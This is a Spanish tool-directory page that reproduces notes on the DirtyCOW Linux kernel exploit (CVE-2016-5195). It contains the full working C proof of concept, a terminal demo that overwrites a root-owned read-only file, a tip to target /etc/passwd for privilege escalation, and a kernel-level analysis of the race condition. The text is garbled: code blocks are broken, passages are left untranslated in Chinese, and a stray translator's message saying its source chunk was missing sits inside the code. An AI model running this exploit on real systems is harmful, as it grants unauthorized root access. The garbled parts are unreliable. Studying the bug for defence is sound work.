Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2016-5195 — DirtyCOW Notas | Kitploit
Herramientas/GitHubGitHub/asuka39/cve-2016-5195
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubasuka39/cve-2016-5195

CVE-2016-5195

DirtyCOW Notas

Ver Repositorio
hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2016-5195 DirtyCOW

PoC

  • Modificado de dirtycow.github.io```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

对不起,我似乎没有收到实际要翻译的内容块。您只发来了指令和规则,但没有提供 chunk 3 的中文原文。请粘贴要翻译的内容,我会严格遵循所有规则进行西班牙语翻译。```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

Una técnica de explotación común es escribir sin autorización en /etc/passwd para modificar el usuario root o los permisos de usuario y escalar privilegios.

Análisis

Análisis del Exploit

Primero, veamos qué hace el exp.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }

pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

- Primero se llama a pthread para crear dos hilos
- Luego se abre con `fopen` el archivo objetivo de solo lectura `argv[1]`
- Se asigna el archivo a memoria con `mmap` (dirección aleatoria). El propósito de `MAP_PRIVATE` es crear una asignación de memoria privada para una tarea. Si otra tarea intenta escribir en esta memoria, el proceso primero hará una copia antes de escribir. De esta manera, al crear procesos hijos o hilos, no es necesario copiar todo el espacio de memoria con gran costo de tiempo y espacio, y se garantiza que las operaciones de memoria concurrentes entre tareas no se afecten entre sí. Esto se llama CopyOnWrite.
- Luego se inician dos hilos, uno ejecuta `madviseThread` y el otro ejecuta `procselfmemThread`

Luego veamos los cuerpos de ejecución de los dos hilos

- Un hilo llama a `madvise` en la asignación de archivo para informar al kernel sobre el uso de la memoria asignada o memoria compartida. `MADV_DONTNEED` indica que ya no se usará esta región de memoria, y el kernel puede liberarla.
- El otro hilo abre `/proc/self/mem` con permisos de lectura/escritura. Este archivo es la asignación de archivo de la memoria virtual del propio proceso. Luego intenta repetidamente escribir la información objetivo en el archivo.```c
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

最终,在两个线程的轮番轰炸下内核出现竞争漏洞,procselfmemThread成功写入只读文件

Análisis del Kernel

  • Premisa fundamental: mmap solo establecerá un mapeo de memoria en la vma, pero no colocará realmente el archivo mapeado en un marco de página física. Por lo tanto, cuando intentamos write por primera vez, inevitablemente se desencadena una falla de página.
  • La versión del kernel seleccionada aquí es 4.4

Qué sucede cuando escribimos

mem_rw

Comenzamos el análisis desde write. Cualquier operación en un archivo debe pasar por la tabla virtual file_operations registrada por el sistema de archivos del archivo en el VFS, y los archivos en /proc son implementados por procfs. Encontramos proc_mem_operations y podemos ver que write está vinculado a mem_write.```c static const struct file_operations proc_mem_operations = { .llseek = mem_lseek, .read = mem_read, .write = mem_write, .open = mem_open, .release = mem_release, };

`mem_write` es un wrapper de `mem_rw` (el indicador `write` se establece en 1), el flujo principal de `mem_rw` es

- Primero, `__get_free_page` solicita una página libre temporal para que actúe como búfer
- Si es una operación de escritura, se llama a `copy_from_user` para copiar los datos a escribir en la página temporal
- Luego, `access_remote_vm` lee los datos de destino en la página libre (lectura) o escribe el contenido del búfer en la dirección de destino (escritura)
  - Lo que se llama "remote", en realidad se debe a que este proceso puede leer o escribir los archivos mapeados en memoria de otros procesos, lo que significa que el proceso puede acceder al espacio de direcciones de otros procesos. Esto es diferente de otros sistemas de archivos de memoria.
- Si es una operación de lectura, entonces los datos leídos en la página libre en el paso anterior se escriben de vuelta en el búfer del usuario.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度,单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}
__access_remote_vm

access_remote_vm es un envoltorio de __access_remote_vm, el flujo principal es:

  • get_user_pages obtiene la estructura de página (page struct) donde se encuentra la dirección objetivo addr
  • Si se obtiene con éxito, llama a kmap para mapear la página en la memoria alta del kernel (la página se refiere a la página física)
  • Si el acceso a la memoria es una operación de escritura, se escriben los datos y se establece el bit sucio; si es una operación de lectura, simplemente se leen los datos```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;
Descargar herramienta